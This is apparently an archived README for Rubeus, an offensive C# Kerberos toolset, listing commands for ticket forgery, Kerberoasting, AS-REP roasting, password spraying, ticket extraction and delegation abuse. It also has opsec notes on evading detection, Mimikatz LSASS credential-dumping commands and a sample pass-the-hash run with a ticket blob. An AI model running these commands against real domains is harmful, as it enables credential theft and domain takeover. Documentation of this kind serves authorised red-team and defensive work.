

# GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.

By 0xe7

Archived: 2026-04-05 14:03:43 UTC

---

Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy's Kekeo](#) project (CC BY-NC-SA 4.0 license) and [Vincent LE TOUX's MakeMeEnterpriseAdmin](#) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.

[Charlie Clark](#) and [Ceri Coburn](#) have both made *significant* contributions as co-developers to the Rubeus codebase. [Elad Shamir](#) contributed some essential work for resource-based constrained delegation. Their work is very appreciated!

Rubeus also uses a C# ASN.1 parsing/encoding library from [Thomas Pornin](#) named [DDer](#) that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!

PKINIT code heavily adapted from [@SteveSyfuhs's Bruce](#) tool. Bruce made RFC4556 (PKINIT) a lot easier to understand. Huge thanks to Steve!

NDR encoding and decoding for Kerberos PAC is based on the [NtApiDotNet](#) library from [@tiraniddo](#), thank you James.

The [KerberosRequestorSecurityToken.GetRequest](#) method for Kerberoasting was contributed to PowerView (and then incorporated into Rubeus) by [@machosec](#).

[@harmj0y](#) is the primary author of this code base.

Rubeus is licensed under the BSD 3-Clause license.

## Table of Contents

- [Rubeus](#)
  - [Table of Contents](#)
  - [Background](#)
    - [Command Line Usage](#)
    - [Opsec Notes](#)
      - [Overview](#)
      - [Weaponization](#)
      - [Example: Credential Extraction](#)
      - [Example: Over-pass-the-hash](#)
  - [Ticket requests and renewals](#)
    - [asktgt](#)

- [asktgs](#)
- [renew](#)
- [brute|spray](#)
- [Constrained delegation abuse](#)
  - [s4u](#)
- [Ticket Forgery](#)
  - [golden](#)
  - [silver](#)
  - [diamond](#)
- [Ticket Management](#)
  - [ptt](#)
  - [purge](#)
  - [describe](#)
- [Ticket Extraction and Harvesting](#)
  - [triage](#)
  - [klist](#)
  - [dump](#)
  - [tgtdeleg](#)
  - [monitor](#)
  - [harvest](#)
- [Roasting](#)
  - [kerberoast](#)
    - [kerberoasting\\_opsec](#)
    - [Examples](#)
  - [asreproast](#)
- [Miscellaneous](#)
  - [createnetonly](#)
  - [changepw](#)
  - [hash](#)
  - [tgssub](#)
  - [currentluid](#)
  - [logonsession](#)
  - [asrep2kirbi](#)
  - [kirbi](#)
- [Compile Instructions](#)
  - [Targeting other .NET versions](#)
  - [Sidenote: Building Rubeus as a Library](#)
  - [Sidenote: Running Rubeus Through PowerShell](#)
    - [Sidenote Sidenote: Running Rubeus Over PSRemoting](#)

## Background

## Command Line Usage

```

-----
(____ \    | |
-----) )_  _| |__ ----- - - ___
| __ /| | | | _ \| ___ | | | |/_
| | \ \ | | | | | ) ___| | | |__ |
|_|  | |____/|____/|____)____/(____/

```

v2.3.3

### Ticket requests and renewals:

Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session

```
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH
```

Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session

```
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH
```

Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process

```
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH
```

Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process

```
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\temp\leaked.pfx
```

Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or name

```
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\temp\leaked.pfx
```

Retrieve a TGT suitable for changing an account with an expired password using the changepw command

```
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH
```

### Request a TGT without sending pre-auth data:

```
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid:LOCAL_UID]
```

### Request a service ticket using an AS-REQ:

```
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH
```

### Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:

```
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH
```

### Retrieve a service ticket using the Kerberos Key List Request options:

```
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH
```

### Retrieve a delegated managed service account ticket:

```
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH
```

Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:  
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN\_CONTROLLER] [/outfile:FILENAME] [/ptt:PORT]

Perform a Kerberos-based password bruteforcing attack:

```
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:http://proxyurl]
```

Perform a scan for accounts that do not require pre-authentication:

```
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:http://proxyurl]
```

Constrained delegation abuse:

Perform S4U constrained delegation abuse:

```
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:http://proxyurl]  
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:http://proxyurl]
```

Perform S4U constrained delegation abuse across domains:

```
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:http://proxyurl]
```

Ticket Forgery:

Forge a golden ticket using LDAP to gather the relevant information:

```
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printername:PRINTERNAME] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:http://proxyurl]
```

Forge a golden ticket using LDAP to gather the relevant information but explicitly overriding some values:

```
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/proxyurl:http://proxyurl]
```

Forge a golden ticket, setting values explicitly:

```
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </dc:DOMAIN_CONTROLLER> </proxyurl:http://proxyurl>
```

Forge a silver ticket using LDAP to gather the relevant information:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </dc:DOMAIN_CONTROLLER> </proxyurl:http://proxyurl>
```

Forge a silver ticket using LDAP to gather the relevant information, using the KRBTGT key to calculate the ticket:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </dc:DOMAIN_CONTROLLER> </proxyurl:http://proxyurl>
```

Forge a silver ticket using LDAP to gather the relevant information but explicitly overriding some values:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </dc:DOMAIN_CONTROLLER> </proxyurl:http://proxyurl>
```

Forge a silver ticket using LDAP to gather the relevant information and including an S4U Delegation Info PAC:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </dc:DOMAIN_CONTROLLER> </proxyurl:http://proxyurl>
```

Forge a silver ticket using LDAP to gather the relevant information and setting a different cname and create:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </dc:DOMAIN_CONTROLLER> </proxyurl:http://proxyurl>
```

Forge a silver ticket, setting values explicitly:

```
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN>
```

Forge a diamond TGT by requesting a TGT based on a user password/hash:

```
Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH
```

Forge a diamond TGT by requesting a TGT using a PKCS12 certificate:

```
Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/crea
```

Forge a diamond TGT by requesting a TGT using tgtdeleg:

```
Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME]
```

Ticket management:

Submit a TGT, optionally targeting a specific LUID (if elevated):

```
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
```

Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):

```
Rubeus.exe purge [/luid:LOGINID]
```

Parse and describe a ticket (service ticket or TGT):

```
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH]
```

Ticket extraction and harvesting:

Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username

```
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
```

List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID:

```
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
```

Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID

```
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
```

Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos

```
Rubeus.exe tgtdeleg [/target:SPN]
```

Monitor every /interval SECONDS (default 60) for new TGTs:

```
Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
```

Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working c

```
Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [
```

Roasting:

Perform Kerberoasting:

```
Rubeus.exe kerberoast [/spn:"blah/blah" | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:dc]
```

Perform Kerberoasting, outputting hashes to a file:

```
Rubeus.exe kerberoast /outfile:hashes.txt [/spn:"blah/blah" | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:dc]
```

Perform Kerberoasting, outputting hashes in the file output format, but to the console:

```
Rubeus.exe kerberoast /simple [/spn:"blah/blah" | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:dc]
```

Perform Kerberoasting with alternate credentials:

```
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah" | [/user:USER] [/domain:DOMAIN] [/dc:dc]
```

Perform Kerberoasting with an existing TGT:

```
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI>
```

Perform Kerberoasting with an existing TGT using an enterprise principal:

```
Rubeus.exe kerberoast </spn:user@domain.com | /spns:user1@domain.com,user2@domain.com> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI>
```

Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail:

```
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
```

Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:

```
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
```

Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:

```
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
```

List statistics about found Kerberoastable accounts without actually sending ticket requests:

```
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
```

Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):

```
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
```

Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010:

```
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
```

Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:

```
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
```

Perform AES Kerberoasting:

```
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
```

Perform Kerberoasting using an account without pre-auth by sending AS-REQ's:

```
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> /nopreauth:USER /domain:DOMAIN [/dc:dc]
```

Perform AS-REP "roasting" for any users without preauth:

```
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/c
```

Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file:

```
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CON
```

Perform AS-REP "roasting" for any users without preauth using alternate credentials:

```
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [,
```

#### Miscellaneous:

Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LI

```
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.I
```

Reset a user's password from a supplied TGT (AoratoPw):

```
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/target
```

Calculate rc4\_hmac, aes128\_cts\_hmac\_sha1, aes256\_cts\_hmac\_sha1, and des\_cbc\_md5 hashes:

```
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]
```

Substitute an sname or SPN into an existing service ticket:

```
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid]
```

```
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:DC
```

Display the current user's LUID:

```
Rubeus.exe currentluid
```

Display information about the (current) or (target) logon session, default all readable:

```
Rubeus.exe logonsession [/current] [/luid:X]
```

The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified.

The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function.

The "/debug" flag outputs ASN.1 debugging information.

Convert an AS-REP and a key to a Kirbi:

```
Rubeus.exe asrep2kirbi /asrep:<BASE64 | FILEPATH> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AF
```

Insert new DES session key into a Kirbi:

```
Rubeus.exe kirbi /kirbi:<BASE64 | FILEPATH> /sessionkey:SESSIONKEY /sessiontype:DES|RC4|AES128|AES256 |
```

NOTE: Base64 ticket blobs can be decoded with :

```
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
```

## Opsec Notes

This section covers some notes on the operational security of using Rubeus in an environment, with some technical examples comparing/contrasting some of its approaches to Mimikatz. The material here will be expanded in the future.

### Overview

Any action you perform on a system is a detectable risk, especially when abusing functionality in "weird"/unintended ways. Rubeus (like any attacker toolset) can be detected in a number of methods, either from the host, network, or domain perspectives. I have a workmate who is fond of stating "*everything is stealthy until someone is looking for it*" - tools and techniques generally evade detection because either a) people are not sufficiently aware of the tool/technique and therefore not even looking, b) people can not collect and process the data needed at the appropriate scale, or c) the tool/technique blends with existing behavior to sufficiently sneak in with false positives in an environment. There is much more information on these steps and detection subversion in general in [Matt Graeber](#) and [Lee Christensen](#)'s Black Hat USA 2018 "[Subverting Sysmon](#)" talk and associated [whitepaper](#).

From the host perspective, Rubeus can be caught during initial [weaponization](#) of the code itself, by an abnormal (non-lsass.exe) process issuing raw Kerberos port 88 traffic, through the use of sensitive APIs like LsaCallAuthenticationPackage(), or by abnormal tickets being present on the host (e.g. rc4\_hmac use in tickets in a modern environment).

From a network or domain controller log perspective, since Rubeus implements many parts of the normal Kerberos protocol, the main detection method involves the use of rc4\_hmac in Kerberos exchanges. Modern Windows domains (functional level 2008 and above) use AES encryption by default in normal Kerberos exchanges (with a few exceptions like inter-realm trust tickets). Using a rc4\_hmac (NTLM) hash is used in a Kerberos exchange instead of a aes256\_cts\_hmac\_sha1 (or aes128) key results in some signal that is detectable at the host level, network level (if Kerberos traffic is parsed), and domain controller event log level, sometimes known as "encryption downgrade".

### Weaponization

One common way attack tools are detected is through the weaponization vector for the code. If Rubeus is run [through PowerShell](#) (this includes Empire) the standard PowerShell V5 protections all apply (deep script block logging, AMSI, etc.). If Rubeus is executed as a binary on disk, standard AV signature detection comes into play (part of why we [do not release](#) compiled versions of Rubeus, as brittle signatures are silly ; ). If Rubeus is used as a [library](#) then it's susceptible to whatever method the primary tool uses to get running. And if Rubeus is run through unmanaged assembly execution (like Cobalt Strike's `execute_assembly` ) cross-process code injection is performed and the CLR is loaded into a potentially non-.NET process, though this signal is present for the execution of any .NET code using this method.

Also, AMSI (the Antimalware Scan Interface) has been [added to .NET 4.8](#). [Ryan Cobb](#) has additional details on the offensive implications of this in the **Defense** section of his "[Entering a Covenant: .NET Command and](#)

[Control](#)” post.

### Example: Credential Extraction

Say we have elevated access on a machine and want to extract user credentials for reuse.

Mimikatz is the swiss army knife of credential extraction, with multiple options. The `sekurlsa::logonpasswords` command will open up a [read handle to LSASS](#), enumerate logon sessions present on the system, walk the default authentication packages for each logon session, and extract any reverseable password/credential material present.

**Sidenote:** the `sekurlsa::ekeys` command will enumerate ALL key types present for the Kerberos package.

Rubeus doesn't have any code to touch LSASS (and none is intended), so its functionality is limited to extracting Kerberos tickets through use of the `LsaCallAuthenticationPackage()` API. From a non-elevated standpoint, the session keys for TGTs are not returned (by default) so only service tickets extracted will be usable (the `tgtdeleg` command uses a Kekeo trick to get a usable TGT for the current user). If in a high-integrity context, a [GetSystem](#) equivalent utilizing token duplication is run to elevate to SYSTEM, and a fake logon application is registered with the `LsaRegisterLogonProcess()` API call. This allows for privileged enumeration and extraction of all tickets currently registered with LSA on the system, resulting in base64 encoded .kirbi's being output for later reuse.

Mimikatz can perform the same base64 .kirbi extraction with the following series of commands:

```
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export
```

Mimikatz can also carve tickets directly out of LSASS' memory with:

```
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export
```

As "everything is stealthy until someone is looking for it", it's arguable whether LSASS manipulation or ticket extraction via the `LsaCallAuthenticationPackage()` API call is more "stealthy". Due to Mimikatz' popularity, opening up a handle to LSASS and reading/writing its memory has become a big target for EDR detection and/or prevention. However, `LsaCallAuthenticationPackage()` is used by a fairly limited set of processes, and creating a fake logon application with `LsaRegisterLogonProcess()` is also fairly anomalous behavior. However full API level introspection and baselining appears to be a more difficult technical problem than LSASS protection.

### Example: Over-pass-the-hash

Say we recover a user's rc4\_hmac hash (NTLM) and want to reuse this credential to compromise an additional machine where the user account has privileged access.

**Sidenote:** pass-the-hash != over-pass-the-hash. The traditional pass-the-hash technique involves reusing a hash through the NTLMv1/NTLMv2 protocol, which doesn't touch Kerberos at all. The over-pass-the-hash approach was developed by [Benjamin Delpy](#) and [Skip Duckwall](#) (see their "[Abusing Microsoft Kerberos - Sorry, you guys don't get it](#)" presentation for more information). This approach turns a hash/key (rc4\_hmac, aes256\_cts\_hmac\_sha1, etc.) for a domain-joined user into a fully-fledged ticket-granting-ticket (TGT).

Let's compare "over-passing-the-hash" via Mimikatz' `sekurlsa::pth` command versus using the `asktgt` command from Rubeus (or [Kekeo](#) if you'd like).

When `sekurlsa::pth` is used to over-pass-the-hash, Mimikatz first creates a new [logon type 9 process](#) with dummy credentials - this creates a new "sacrificial" logon session that doesn't interact with the current logon session. It then opens the LSASS process with the ability to write to process memory, and the supplied hash/key is then [patched into the appropriate section](#) for the associated logon session (in this case, the "sacrificial" logon session that was started). This causes the normal Kerberos authentication process to kick off as normal as if the user had normally logged on, turning the supplied hash into a fully-fledged TGT.

When Rubeus' `asktgt` command is run (or Kekeo's equivalent), the raw Kerberos protocol is used to request a TGT, which is then applied to the current logon session if the `/ptt` flag is passed.

With the Mimikatz approach, administrative rights are needed as you are manipulating LSASS memory directly. As previously mentioned, Mimikatz' popularity has also led to this type of behavior (opening up a handle to LSASS and reading/writing its memory) being a big target for EDR detection and/or prevention. With the Rubeus/Kekeo approach, administrative rights are not needed as LSASS is not being touched. However, if the ticket is applied to the current logon session (with `/ptt`), the TGT for the current logon session will be overwritten. This behavior can be avoided (with administrative access) by using the `/createnetonly` command to create a sacrificial process/logon session, then using `/ptt /ticket:X /luid:0xa..` with the newly created process LUID. If using Cobalt Strike, using the `make_token` command with dummy credentials and then `kerberos_ticket_use` with the ticket retrieved by Rubeus will let you apply the new TGT in a way that a) doesn't need administrative rights and b) doesn't stomp on the current logon session TGT.

It is our opinion that the LSASS manipulation approach is more likely (at the current moment) to be detected or mitigated due to the popularity of the technique. However the Rubeus approach does result in another piece of detectable behavior. Kerberos traffic to port 88 should normally only originate from `lsass.exe` - sending raw traffic of this type from an abnormal process could be detectable if the information can be gathered.

**Sidenote:** one way *both* approaches can potentially be caught is the previously mentioned "encryption downgrade" detection. To retrieve AES keys, use Mimikatz' `sekurlsa::ekeys` module to return ALL Kerberos encryption keys (same with `lsadump::dcsync`) which are better to use when trying to evade some detections.

## Ticket requests and renewals

Breakdown of the ticket request commands:

Command	Description
<a href="#">asktgt</a>	Request a ticket-granting-ticket (TGT) from a hash/key or password
<a href="#">asktgs</a>	Request a service ticket from a passed TGT
<a href="#">renew</a>	Renew (or autorenew) a TGT or service ticket
<a href="#">brute</a>	Perform a Kerberos-based password bruteforcing attack. 'spray' can also be used instead of 'brute'
<a href="#">preauthscan</a>	Perform a scan for accounts that do not require Kerberos pre-authentication

## asktgt

The **asktgt** action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key ( `/rc4` , `/aes128` , `/aes256` , or `/des` ). A `/password` flag can also be used instead of a hash - in this case `/enctype:X` will default to RC4 for the exchange, with `des|aes128|aes256` as options. If no `/domain` is specified, the computer's current domain is extracted, and if no `/dc` is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The `/ptt` flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The `/luid:0xA..` flag will apply the ticket to the specified logon session ID (elevation needed) instead of the current logon session.

Note that no elevated privileges are needed on the host to request TGTs or apply them to the **current** logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the `/ptt` option. A workaround is to use the `/createnetonly:C:\X.exe` parameter (which hides the process by default unless the `/show` flag is specified), or request the ticket and apply it to another logon session with `ptt /luid:0xA..`

By default, several differences exist between AS-REQ's generated by Rubeus and genuine AS-REQ's. To form AS-REQ's more inline with genuine requests, the `/opsec` flag can be used, this will send an initial AS-REQ without pre-authentication first, if this succeeds, the resulting AS-REP is decrypted and TGT returned, otherwise an AS-REQ with pre-authentication is then sent. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than `aes256` and will just throw a warning and exit if another encryption type is used. To allow for other encryption types to be used with the `/opsec` changes, the `/force` flag exists.

PKINIT authentication is supported with the `/certificate:X` argument. When the private key within the PFX file is password protected, this password can be passed with the `/password:X` argument. When using PKINIT authentication the `/getcredentials` flag can be used to automatically request a U2U service ticket and retrieve the account NT hash.

Requesting a TGT without a PAC can be done using the `/nopac` switch.

Using a KDC proxy ([MS-KKDCP](#)) to make the request is possible using the `/proxyurl:URL` argument. The full URL for the KDC proxy is required, eg. <https://kdcproxy.exmaple.com/kdcproxy>

The `/nopreauth` flag can be used to send an AS-REQ without pre-authentication. The `/service:SPN` argument can be used to request service tickets using AS-REQ's directly, it will take an SPN or a username.

Requesting a ticket via RC4 hash for [dfm.a@testlab.local](#), applying it to the current logon session:

```
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt

-----
(____ \      | |
____) )_  _| |__  _____ -  ___
|  __ /| | | |  _ \| ___ | | | |/_ )
| | \ \ | | | | )  ___| | | |___ |
|_|  |_|____/|____/|____)____/(____/

v1.4.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFmjCCBZagAwIBBaEDAgEwoIErzCCBKthggSnMIIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUYiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWludG9jYWYjggRlMIIIEYaADAgESoQMCAQKiggRTBIETwrL
zIpKjTT11eteJcn+0rtlkWtTW/8XvoWXY61r0Cr0Io16YPiMe4usXoJa0qsvCydMgd6955hT+IoFMyGG
VfVxetoM10a5aPA2sfzJeogn4RpFBoY5vjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz
yniQzGPI19095aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbeZwo8SG0QkZ0DKk
qOD8hx5wbQ+w8emcLvHMIrmg1x020PngK76C3daeIS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6
c0/yMvFxyuRjLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK
INJ0q+JvdJpCpo/wgyu7wjKgsdpqUV0siVfpGaxG7yh6s3U2tAlBwnWdGF/Gy/Fk0k/hJxhTTHcHa5XE
LTaXY9cnraee+lLJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYLCjr5ykhF8MdVE1Se+WtEZJuPj
lYrCtWo2oEjBbYmb3YGTcWh5+oWNY1QdxSpyFc8IDQ0T0CnQ+nsQf78phU7svTBm0b5AqqPD/olZ1RYm
f4qR+90TcASaQgWuHqbpFnLb2U9BHwNS+S1RwafFT5qLTmXaqqQMMjknospm0+v0U8hd8KbZ4jwK2hM+
vE74b0iAMdjTf5YLDorRyuFUoa7oIaJZTXsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z
zAJK6PESaBcUqhKqkjlWLUKDuT2+SCduPVF6+3QJB0xLJrwxKp/MiV418H/pHRoy6JkKk2m1bw45P8Az
l54g75WJqEiAzj/+I64TufbEFJtd90HujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE
HbWxuKib3niTTM5yCHzC6h/V8Zef8r4fdhY20xGCwqLT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8
o6XpVqSozXRASEs3oKFfNunBFJ+QxOL4A47i01JH0wLM7L2Vx+QeDMfqUh3i9S71YBLdHtPfLo8ivmNS
gf0dIeAE2rHRNqn+q7vvr4r/Bxy3CikzBwnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a
JffKdNwK0lIDymImtxqT00Y/mk0zeQ7RZNUIR3vtrNS084CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueB05
ZoDiWYvPu0QsZHKP2XD+GQt0u0hN6M0fLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIsLKJDa6WzmSQhdW
fPIA9ggjCmQtyB6seiYl9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t
```

```
a1U+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQ+zY8adXi2NuvkAx11ohUOKEPgW1URVNUTEFLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj
